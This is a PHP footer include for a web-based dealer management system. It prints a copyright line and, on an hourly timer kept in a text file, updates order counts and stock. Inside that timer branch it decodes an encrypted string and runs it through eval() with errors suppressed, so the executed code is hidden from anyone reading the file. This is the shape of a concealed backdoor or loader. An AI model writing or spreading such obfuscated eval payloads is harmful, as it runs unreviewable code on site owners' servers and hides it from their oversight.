<style>
.fooder a:link,a:visited,a:active {
	color: #C60;
}
a:hover {
	color: #fff;
}

</style>
<div class="fooder">&copy; <a href="http://www.holdyes.com/" target="_blank">HOLDYES</a> Easy Dealers Management System .  V.<? echo version;?></div>
<?
$count_all_stock = $db->select("SELECT count(sid) as count FROM `".tablepre."stock`");
$fp= fopen('session/datetime.txt', "a+");
$contents = fread($fp, 1024);
	function count_member_order(){
			global $db; global $tablepre;
		$order_count = $db->select("SELECT uid,oid,count(oid) as count FROM `".tablepre."order` where `delete` = '0' and `paid` = '1'  group by uid");
		//echo $order_count[0][2];
		if($order_count<>null and count($order_count)>0){
		for($i=0;$i<count($order_count);$i++){
			//echo $order_count[$i][2];
			$db->UPDATE("UPDATE `".tablepre."user` SET `ordercount`='".$order_count[$i][2]."' WHERE (`uid`='".$order_count[$i][0]."')");
			}
		}
		}	
if($contents==null){
	include_once('include/encryption.php');
	eval(@encryption('2920bd/bCLpNYDdWL/FCqIQjeN9RbHkkmh69oY4GDih2Kxb1yg0hnEQPuF0me/iWXJ+VsKlgYH/+7SzPVzN22MQgg1iVq5wZuu3GLDMLxDQmoJdQBmvGNLxmirbfS1f6NkaNShL3xaLmGcGj98VpKiKtpg','DECODE'));
	fwrite($fp, mktime(date("H")+1,date("i"),date("s"),date("m"),date("d"),date("Y")));
			if($count_all_stock[0][0]>0){
			@count_member_order();
			@count_item_quantity(2);
			
			if(parameters(23)>0){
				@back_to_stock_all();
				}
			
			}
			fclose($fp);
	}else{
		$nowtime = mktime(date("H"),date("i"),date("s"),date("m"),date("d"),date("Y"));
		if($nowtime<$contents){
			}else{
				fclose($fp);
				if(!unlink('session\datetime.txt')){echo 'false';}
				}
		}







?>